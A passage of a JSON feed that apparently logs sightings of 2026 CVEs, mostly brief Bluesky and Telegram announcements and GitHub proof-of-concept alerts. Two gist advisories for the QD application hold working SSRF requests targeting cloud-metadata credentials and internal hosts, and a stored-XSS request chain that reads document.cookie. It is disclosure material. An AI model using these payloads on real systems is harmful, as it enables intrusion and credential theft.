"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51080", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mqymte6wei2m", "content": "\ud83d\udd34 CVE-2026-51080 - Critical (9.8)\n\nlibpvestorage-perl v9.1.1 and libpve-storage-perl v8.3.7 were discovered to contain an XML Extern...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-51080/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-19T11:00:30.651386Z"}, {"uuid": "84262317-aa64-4171-9737-b4432b661f4e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51027", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mr3qf2lcto2r", "content": "CVE-2026-51027\nA vulnerability in FileThingie v2.5.7 allows a hacker to access sensitive information without permission. This is a serious security risk because it could expose confidential data. To protect your data, update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-20T16:42:04.249234Z"}, {"uuid": "c74c1828-05b0-41c6-a9ef-276cb72ef42b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51027", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mr3rgcsfas2f", "content": "\ud83d\udd34 CVE-2026-51027 - Critical (9.9)\n\nAn issue in FileThingie v.2.5.7 allows a remote attacker to obtain sensitive information via the ...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-51027/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-07-20T17:00:40.713630Z"}, {"uuid": "7a1476bc-b6f7-4ece-8572-3a77c9248dd1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51027", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mr3ua2rjy52j", "content": "CVE-2026-51027 - FileThingie Information Disclosure Vulnerability\nCVE ID : CVE-2026-51027\n \n Published : July 20, 2026, 4:17 p.m. | 18\u00a0minutes ago\n \n Description : An issue in FileThingie v.2.5.7 allows a remote attacker to obtain sensitive information via the ft2.php componen...", "creation_timestamp": "2026-07-20T17:50:52.067940Z"}, {"uuid": "b8153705-ae98-4947-8bd6-b33f67fab4cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51385", "type": "seen", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "content": "", "creation_timestamp": "2026-07-20T18:00:05.639041Z"}, {"uuid": "9e66e797-327d-475f-b2e7-7e2cb2a173b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5118", "type": "seen", "source": "https://t.me/cve0day/418", "content": "CVE-2026-5118\n\nThe Divi Form Builder plugin for WordPress is vulnerable to privilege escalation in versions up to, and including, 5.1.2. This is due to the plugin accepting a user-controlled 'role' parameter from POST data during user registration without validating it against the form's configured defaultuserrole setting. This makes it possible for unauthenticated attackers to create administrator accounts by tampering with the role parameter during registration.", "creation_timestamp": "2026-08-27T15:00:07.431450Z"}, {"uuid": "8de3ee22-e802-4326-8a5e-d11f392de493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51385", "type": "published-proof-of-concept", "source": "Telegram/WNPKjULv0ephKNyiWQmiLebMVhKs5Yq19I9tIqi1CZzDTIM", "content": "", "creation_timestamp": "2026-07-22T00:00:07.685200Z"}, {"uuid": "6b31f7d3-08c8-42f3-a7e2-46dc856af8af", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51105", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mr7kb2qcoe24", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51105 \u0432 aMule: \u0443\u0433\u0440\u043e\u0437\u0430 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D2F34E07-8497-4A98-BF42-B7860EF8BE91", "creation_timestamp": "2026-07-22T05:03:06.806971Z"}, {"uuid": "a78b2280-be8b-454e-8085-d16ac678cc4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51592", "type": "seen", "source": "Telegram/g675v-UH8DF27WnjgWKKSkETruqTm270nowLOMEt8RLgjhY", "content": "", "creation_timestamp": "2026-07-25T00:00:09.160869Z"}, {"uuid": "09165ab5-b81c-4863-860d-d8abcd239a78", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51565", "type": "seen", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-25T23:00:03.381416Z"}, {"uuid": "56ffb691-06d0-455d-8735-32f694786103", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51564", "type": "seen", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-25T23:00:03.423460Z"}, {"uuid": "76e1b74d-71bc-4297-933e-7f8f78bd0044", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51565", "type": "published-proof-of-concept", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-26T00:00:14.341461Z"}, {"uuid": "241a78d3-62e0-42f2-b41f-2ebd24c934e8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51564", "type": "published-proof-of-concept", "source": "Telegram/rReBw0Q4jMbZrY7xLybdVTPGa0Ybeq3C-HMv0PXt8kiNSpo", "content": "", "creation_timestamp": "2026-07-26T00:00:14.375930Z"}, {"uuid": "aa2c9ca8-d616-446c-abed-2093b01c4b20", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51808", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmjwvwxva27", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51808 \u0432 OpenHTJ2K: \u0443\u0433\u0440\u043e\u0437\u0430 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u0441\u043f\u043e\u0441\u043e\u0431\u044b \u0437\u0430\u0449\u0438\u0442\u044b\n\n\n\nhttps://kripta.biz/posts/D82AEA53-27BF-45BA-943A-571AB8653E09", "creation_timestamp": "2026-07-27T09:02:03.750424Z"}, {"uuid": "87e9a2c5-17cc-4ce3-9949-bc4752acf015", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51807", "type": "seen", "source": "https://bsky.app/profile/khesefxyz.bsky.social/post/3mrmjymz2a42m", "content": "\u05e4\u05d2\u05d9\u05e2\u05d5\u05ea Buffer Overflow \u05d1-OpenHTJ2K: CVE-2026-51807 - \u05de\u05d4 \u05d6\u05d4 \u05d0\u05d5\u05de\u05e8 \u05dc\u05da?\n\n\n\nhttps://khesef.xyz/posts/1A830908-4022-4852-B273-A23A6E14ACD8", "creation_timestamp": "2026-07-27T09:03:00.424869Z"}, {"uuid": "2a384b20-dcb7-44a7-8f0a-14ace307f004", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51592", "type": "published-proof-of-concept", "source": "Telegram/g675v-UH8DF27WnjgWKKSkETruqTm270nowLOMEt8RLgjhY", "content": "", "creation_timestamp": "2026-07-26T00:00:47.777120Z"}, {"uuid": "afd67e21-5e1c-4c17-adeb-79797a927226", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51807", "type": "seen", "source": "https://bsky.app/profile/kriptabiz.bsky.social/post/3mrmjxnyygq2o", "content": "\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-51807 \u0432 OpenHTJ2K: \u0443\u0433\u0440\u043e\u0437\u0430 heap-based \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0431\u0443\u0444\u0435\u0440\u0430\n\n\n\nhttps://kripta.biz/posts/4A618F52-935C-42C5-B6D9-F0D204B5DCDD", "creation_timestamp": "2026-07-27T09:02:28.121643Z"}, {"uuid": "cd5ae135-6dff-4250-b9a4-b7e5e684b207", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51303", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrnleby5dt2v", "content": "CVE-2026-51303\nSQLite, a popular database software, has a security flaw that can be triggered by specially crafted SQL queries. This could cause the program to crash or leak sensitive information, and in some cases, allow an\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-27T19:00:05.314716Z"}, {"uuid": "aff4bab1-770d-4011-a123-e38ff996e515", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51235", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mrnsibng2e22", "content": "CVE-2026-51235 - LibRaw Buffer Overflow\nCVE ID : CVE-2026-51235\n \n Published : July 27, 2026, 6:16 p.m. | 2\u00a0hours, 21\u00a0minutes ago\n \n Description : LibRaw 0.21 is vulnerable to Buffer Overflow in the stretch() function (src/libraw_cxx.cpp) and fuji_rotate() function (src/decode...", "creation_timestamp": "2026-07-27T21:07:35.084271Z"}, {"uuid": "6f236263-3ac3-44e3-92dc-683015590577", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51565", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mro443rn3w24", "content": "CVE-2026-51565 - Milk Admin Cross-Site Scripting\nCVE ID : CVE-2026-51565\n \n Published : July 27, 2026, 11:16 p.m. | 40\u00a0minutes ago\n \n Description : Cross-site scripting (XSS) vulnerability in Modules/Docs/DocsController.php in Milk admin <=0.9.8 allows remote attackers to i...", "creation_timestamp": "2026-07-27T23:59:43.935510Z"}, {"uuid": "bfb972e8-5fff-47f5-89fd-38f9313f6708", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51031", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/98255", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a flar3ad\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a daemoncibsec\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-16 00:33:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPOC of CVE-2026-51031 for arbitrary local file read\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-24T00:00:10.952464Z"}, {"uuid": "444bfb17-d11c-4dad-87fc-721fd30ac075", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://gist.github.com/kurokoleung/98e950e3e05205fc57d2029ad68a702e", "content": "[CVE ID]\nCVE-2026-51152\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nServer-side request forgery (SSRF)\n\n[DESCRIPTION]\nQD provides a HAR test endpoint (/har/test) that allows an attacker to control the target URL of an outbound HTTP request made by the server. The Fetcher.build_request() method in libs/fetcher.py constructs an httpclient.HTTPRequest from user-supplied JSON without validating the URL scheme, host, or IP address range. The /har/test handler (web/handlers/har.py) does not require authentication (@authenticated is absent), enabling unauthenticated remote attackers to force the QD server to send arbitrary HTTP requests to internal network resources (127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16, 169.254.0.0/16), cloud metadata endpoints, or other internal services reachable from the server. The validate_cert flag is also set to False, disabling TLS certificate verification for HTTPS targets.\n\n[PROOF OF CONCEPT]\n\n=== 1. Basic SSRF \u2014 probe internal Redis service ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 373\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://127.0.0.1:6379/\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 2. Cloud metadata SSRF \u2014 AWS/Meta credential exfiltration ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 385\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://169.254.169.254/latest/meta-data/iam/security-credentials/admin\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n=== 3. Internal network reconnaissance ===\n\nPOST /har/test HTTP/1.1\nHost: :8923\nContent-Type: application/json\nContent-Length: 382\n\n{\n  \"request\": {\n    \"method\": \"GET\",\n    \"url\": \"http://192.168.1.1/admin/status\",\n    \"headers\": [{\"name\": \"User-Agent\", \"value\": \"qd-ssrf-test\"}],\n    \"cookies\": []\n  },\n  \"rule\": {\n    \"success_asserts\": [],\n    \"failed_asserts\": [],\n    \"extract_variables\": []\n  },\n  \"env\": {\n    \"variables\": {},\n    \"session\": []\n  }\n}\n\n[REFERENCE]\nhttps://qd-today.github.io/qd/\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:47:39.178526Z"}, {"uuid": "4b0dcf35-5e7e-434b-bca9-1076c6204e17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51153", "type": "seen", "source": "https://gist.github.com/kurokoleung/9fc51b02c85c2f466bf4ea72c62ba343", "content": "[CVE ID]\nCVE-2026-51153\n\n[PRODUCT]\nQD-20250803\n\n[VERSION]\nfrom QD-20220208 to QD-20250803\n\n[PROBLEM TYPE]\nCross Site Scripting (XSS) \u2014 Stored\n\n[DESCRIPTION]\nA stored cross-site scripting vulnerability exists in TaskRunHandler.post() at web/handlers/task.py. When a task is run via /task//run, the handler renders the task log content (logtmp) into the HTML response using Python % string formatting without any HTML encoding. The logtmp value is populated either from the exception object's string representation or from new_env[\"variables\"].get(\"__log__\"), which is attacker-controlled through the template's extract_variables mechanism. A low-privileged authenticated attacker can create a crafted HAR template that extracts arbitrary HTML/JavaScript into the __log__ variable via the api://util/unicode endpoint (which returns decoded input without sanitization). When the victim (or another user) triggers the task run, the embedded script executes in the victim's browser within the QD application context.\n\n[PROOF OF CONCEPT]\n\nThe following sequence requires 4 dynamic values extracted in order:\n- {{_xsrf}}: obtained from GET /register response\n- {{user_cookie}}: cookie returned after registration\n- {{tplid}}: JSON {\"id\": ...} returned by POST /har/save\n- {{taskid}}: extracted from /my/ page after POST /task/new redirect\n\n=== Step 1: Obtain XSRF token ===\n\nGET /register HTTP/1.1\nHost: :8923\n\n=== Step 2: Register a low-privileged user ===\n\nPOST /register HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}\nReferer: http://:8923/register\n\nemail=xssrepro@example.com&password=P@ssw0rd!\n\n=== Step 3: Save malicious template with XSS payload ===\n\nPOST /har/save HTTP/1.1\nHost: :8923\nContent-Type: application/json\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/har/edit\n\n{\n  \"har\": {\n    \"log\": {\n      \"creator\": {\"name\": \"manual\", \"version\": \"1\"},\n      \"entries\": [{\n        \"comment\": \"xss-poc\",\n        \"checked\": true,\n        \"startedDateTime\": \"2026-04-16T00:00:00Z\",\n        \"time\": 1,\n        \"request\": {\n          \"method\": \"GET\",\n          \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n          \"headers\": [],\n          \"queryString\": [],\n          \"cookies\": [],\n          \"headersSize\": -1,\n          \"bodySize\": 0,\n          \"postData\": {}\n        },\n        \"response\": {},\n        \"cache\": {},\n        \"timings\": {},\n        \"connections\": \"0\",\n        \"pageref\": \"page_0\",\n        \"success_asserts\": [],\n        \"failed_asserts\": [],\n        \"extract_variables\": [{\n          \"name\": \"__log__\",\n          \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n          \"from\": \"content\"\n        }]\n      }],\n      \"pages\": [],\n      \"version\": \"1.2\"\n    }\n  },\n  \"tpl\": [{\n    \"comment\": \"xss-poc\",\n    \"request\": {\n      \"method\": \"GET\",\n      \"url\": \"api://util/unicode?content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E\",\n      \"headers\": [],\n      \"cookies\": [],\n      \"data\": \"\",\n      \"mimeType\": \"\"\n    },\n    \"rule\": {\n      \"success_asserts\": [],\n      \"failed_asserts\": [],\n      \"extract_variables\": [{\n        \"name\": \"__log__\",\n        \"re\": \"\\\"\u8f6c\u6362\u540e\\\": \\\"([^\\\"]+)\\\"\",\n        \"from\": \"content\"\n      }]\n    }\n  }],\n  \"setting\": {\n    \"sitename\": \"xss-poc\",\n    \"siteurl\": \"http://:8923\",\n    \"note\": \"xss repro\",\n    \"interval\": \"\"\n  }\n}\n\nThe URL parameter content=%3Cscript%3Ealert(document.cookie)%3C%2Fscript%3E is the URL-encoded form of alert(document.cookie). The api://util/unicode endpoint decodes and returns it verbatim in the response field \"\u8f6c\u6362\u540e\": \"alert(document.cookie)\" without sanitization.\n\n=== Step 4: Create a task from the malicious template ===\n\nPOST /task/new HTTP/1.1\nHost: :8923\nContent-Type: application/x-www-form-urlencoded\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/task/new\n\n_binux_tplid={{tplid}}&_binux_tested=true&_binux_note=xss-task&_binux_proxy=&_binux_retry_count=&_binux_retry_interval=\n\n=== Step 5: Trigger the stored XSS ===\n\nPOST /task/{{taskid}}/run HTTP/1.1\nHost: :8923\nX-Xsrftoken: {{_xsrf}}\nCookie: _xsrf={{_xsrf}}; user={{user_cookie}}\nReferer: http://:8923/my/\n\nThe response contains the unescaped payload directly:\n\n\n\u8fd0\u884c\u6210\u529f\n\n\n\n2026-07-28 12:00:00 \\r\\n\u65e5\u5fd7\uff1aalert(document.cookie)\n\u590d\u5236\n\n\n[REFERENCE]\nhttp://qd-today.com\nhttps://github.com/qd-today/qd/releases/tag/20250803", "creation_timestamp": "2026-07-28T08:50:13.541440Z"}, {"uuid": "ed0da9ad-a13b-406e-83d1-cc55699fcfb5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51300", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrplmmp43k2s", "content": "CVE-2026-51300\nA flaw in SQLite's memory management can cause an application to crash or leak sensitive data when it processes malicious SQL queries. This issue affects SQLite version 3.41. To stay secure, update to the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T14:10:04.443020Z"}, {"uuid": "f5921e27-657d-43f4-9763-20946b6fa92b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrplmo2ldr2r", "content": "CVE-2026-51302\nSQLite 3.41 has a security flaw that can cause a system crash, reveal sensitive information, or allow an attacker to execute unauthorized code. This issue affects SQLite databases and can be exploited by\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T14:10:06.221455Z"}, {"uuid": "fe815412-1c4e-4f5e-a8b1-304beaf4aafa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51106", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mu3otsg7km2b", "content": "CVE-2026-51106\nThe qTox messaging app version 1.18.4 can be forced to stop working by someone with access to the same computer. This could interrupt communications for users on that machine. Update to a newer version or apply\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-27T20:30:06.732864Z"}, {"uuid": "293177e9-69a2-4d92-a8b5-b6f9f7d3693e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51252", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrq4ipgtta2u", "content": "CVE-2026-51252\nA vulnerability in the schreibfaul1 ESP32-audioI2S MP3 decoder could allow an attacker to execute malicious code. This could happen if an attacker sends a specially crafted MP3 file to a system using this\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T19:12:06.431876Z"}, {"uuid": "4e83fb0f-dde7-4680-a2b3-d9775eac8d6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51260", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrq4m7sgsu2y", "content": "CVE-2026-51260\nA security issue in the ESP32-audioI2S library allows an attacker to send malicious audio data that can cause the system to crash or behave unexpectedly. This affects systems using the ESP32-audioI2S library\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T19:14:04.251200Z"}, {"uuid": "e43d860a-f179-4ce6-908f-8d7b47e25b37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51259", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrq4mb5ppf2k", "content": "CVE-2026-51259\nA software bug in ESP32-audioI2S 3.4.5 can cause the system to run out of memory or behave unexpectedly when handling audio data. This can lead to device crashes or potentially allow unauthorized access to the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T19:14:05.947457Z"}, {"uuid": "e98e41d3-66e9-42a8-9fb3-24c508f87a29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51263", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrq4psk2dz2z", "content": "CVE-2026-51263\nA security flaw in ESP32-audioI2S version 3.4.5 allows an attacker to send large amounts of malicious data, potentially causing the system to crash or behave unexpectedly. This could happen if an attacker sends\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T19:16:04.770243Z"}, {"uuid": "6cc9e317-ccca-41fd-a9b7-8d16c718dcd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51266", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrq4ptqcxj2z", "content": "CVE-2026-51266\nA flaw in ESP32-audioI2S version 3.4.5 can be exploited by an attacker to execute arbitrary code on the system. This is a serious security issue because an attacker could potentially take control of the system.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T19:16:05.820761Z"}, {"uuid": "f9058554-62be-4be2-8f0e-5dacb7335693", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51267", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrqa35kalo2r", "content": "CVE-2026-51267\nA security flaw in the ESP32-audioI2S software allows attackers to send malicious URLs that can cause the system to crash or potentially allow unauthorized access. This affects any device using the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T20:16:06.411430Z"}, {"uuid": "9f0d89f2-8ffa-42e2-853e-9c2ac0d5f92d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrqa6nmou724", "content": "CVE-2026-51271\nA security issue exists in ESP32-audioI2S version 3.4.5 when parsing WAV files. This could allow an attacker to disrupt system operations or gain unauthorized access. It is recommended to update to a newer\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-28T20:18:04.136166Z"}, {"uuid": "80cd4488-a008-40ce-80cd-f977df690231", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51252", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrqmqkcihu2i", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51252. schreibfaul1 ESP32-audioI2S 3.4.5 has a buffer overflow vulnerability in the MP3Decoder::UnpackSFMPEG1 function due to missing input validation on attacker-controlled MP3 metadata.\n\nnvd.nist.gov/vuln/detail/CVE-2026-51252", "creation_timestamp": "2026-07-29T00:02:49.704977Z"}, {"uuid": "b7a0e96c-abe4-45fc-a4e4-2914ee0423ea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://t.me/GithubRedTeam/95603", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-51302-PoC\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a extratao\n\ud83d\udee0 